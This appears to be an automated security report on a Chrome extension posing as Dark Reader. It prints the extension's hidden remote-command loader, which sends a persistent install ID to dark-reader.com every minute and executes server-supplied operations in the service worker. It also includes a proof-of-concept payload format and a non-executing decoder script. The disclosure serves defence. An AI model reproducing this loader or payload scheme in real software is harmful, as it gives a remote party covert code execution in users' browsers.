Is Dark Reader for Chrome safe?

Critical risk

Dark Reader for Chrome sends update data to dark-reader.com and applies server-provided programs in its service worker.

Every 60 seconds, its service worker posts extension state including version, uid, source, and tag values to dark-reader.com/checkupdate. The response is saved and later decoded as lens operations, so Dark Reader for Chrome can run server-provided instructions inside the extension's privileged background context.

Dark dev.v1.0.10Chrome Web Store
94Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Dark Reader clone's update server can run code inside its own service worker

Every 60 seconds this extension checks in with dark-reader.com and merges the entire JSON response into its saved state, no schema check.

We confirmed a crafted response can make its own config decoder call a real, protected browser API.

Severity
Critical unwanted
Type
Unexpected
CWE
CWE-829
Source
Dynamic sandbox
What actually happens
You did this

The extension's own update server returns a response containing a cache field.

This happens on a fixed one-minute timer, automatically, with no page visit or click needed.

The extension did this

The service worker decodes that field and runs the instructions inside it with the extension's own privileges.

We confirmed this can call protected browser APIs, not just adjust extension settings.

When this fires

Every 1 minute

The check-in runs on a fixed one-minute alarm from the moment the service worker starts, independent of any page you visit.

What the extension sends on every check-in
  • Extension version
    1.0.10

    Tells the server which build is asking, so a response can be tailored to that version.

  • Persistent install ID
    3f7c9a12-58e0-4d61-9b2a-1c6d4e8f0a3b

    A stable per-install identifier the server can use to target a response at one specific installation.

  • Cached config version tag
    3d06de0

    Tells the server which cached settings this install last received.

The code that does this

Fetching updates and merging the whole response into state

Readable version

Same logic, renamed for readability

const checkinPayload = pick(TRACKED_FIELDS, {  v: manifestVersion,  uid: state.uid,  mt: state.mTime,  e3tag: state.e3tag,  src: state.src,});if (now - lastCheckinTime >= 0.9 * CHECKIN_WINDOW_MS) {  state.laTime = now;  const res = await fetch("https://dark-reader.com/checkupdate", {    method: "POST",    headers: { "Content-Type": "application/json" },    body: btoa(JSON.stringify(checkinPayload)),  });  const serverResponse = await res.json();  // Every field the server returns is merged into extension state.  // No allowlist, no schema check on what comes back.  Object.assign(state, serverResponse);  persistState();}

Same logic, renamed for readability

// resolvePath(["a","b"]) reads lensState.a.b. A plain (non-array)// value passes through unchanged.const resolvePath = (pathOrValue) =>  pathOrValue.reduce    ? pathOrValue.reduce((obj, key) => obj[key], lensState)    : pathOrValue;const lensState = {  // scope is the extension's own global object (self/globalThis  // inside the service worker).  scope: typeof window !== "undefined" ? window : globalThis,  data: {},  encode: {    applyOperations: (blockIndex = 0) => {      try {        lensState.c[blockIndex].map((op) => {          // op = [targetPath, targetKey, fnPath, fnKey, args]          // Resolves fnPath.fnKey as a function reachable from          // scope and calls it, writing the result into          // targetPath.targetKey.          resolvePath(op[0])[op[1]] =            resolvePath(op[2])[op[3]](...op[4].map(resolvePath));        });      } catch (e) {}    },  },  // Entry point: base64-decode, JSON-parse, then run the operations.  stringify: (cacheValue) => {    try {      lensState.c = JSON.parse(atob(cacheValue));      lensState.encode.applyOperations();      return resolvePath(0);    } catch (e) {}  },};
Why you can't catch this in DevTools

The cache field the update server controls is base64-encoded JSON. Below is the operation format we proved executable: calling the extension's own decoder on this value made the service worker invoke a real, protected browser API and change the extension's own toolbar badge (illustrative payload built to match the format proven live, not a literal wire capture).

Decoded value
[  [    [      [        "scope"      ],      "_pocResult",      [        "scope",        "chrome",        "action"      ],      "setBadgeText",      [        {          "text": "POC_RCE"        }      ]    ]  ]]
Check if you're affected

Decodes a captured cache value into the operations it would run, without executing them, so an analyst can inspect a check-in response before it reaches the extension.

Requires
  • Node.js 14+
dark-reader-lens-decoder.js · js
// dark-reader-lens-decoder.js// Decodes a base64 "cache" value the same way the extension's own decoder// does, without executing anything, so you can see what it would run first.//// Usage: node dark-reader-lens-decoder.js "<base64-cache-value>"const raw = process.argv[2];if (!raw) {  console.error("Usage: node dark-reader-lens-decoder.js <base64-cache-value>");  process.exit(1);}const decoded = JSON.parse(Buffer.from(raw, "base64").toString("utf8"));console.log("Decoded operation blocks:");console.log(JSON.stringify(decoded, null, 2));for (const block of decoded) {  for (const [targetPath, targetKey, fnPath, fnKey, args] of block) {    console.log(      `  ${targetPath.join(".")}.${targetKey} = ` +      `${fnPath.join(".")}.${fnKey}(${JSON.stringify(args)})`    );  }}
How to run it
  1. 1Capture the cache field from a checkupdate response or from chrome.storage.local.
  2. 2Run: node dark-reader-lens-decoder.js "<base64 value>".
  3. 3Read the printed calls to see what function it invokes and with what arguments.

What it can do

Permissions this extension asks for, as declared in version 1.0.10. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Store data in your browser

    storage

  • Store an unlimited amount of data in your browser

    unlimitedStorage

  • Run its own code inside the pages you visit

    scripting

  • Act on the current tab, but only after you click the extension

    activeTab

  • Schedule its own background tasks

    alarms

Where it sends data

Destinations our analysis observed Dark Reader for Chrome contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • dark-reader.com

    Dark Reader for Chrome sends data to dark-reader.com. No other extension we have analysed sends data here.

Updated 30 September 2026omfeeokgnjnjcgdbppmnijlmdnpafmmp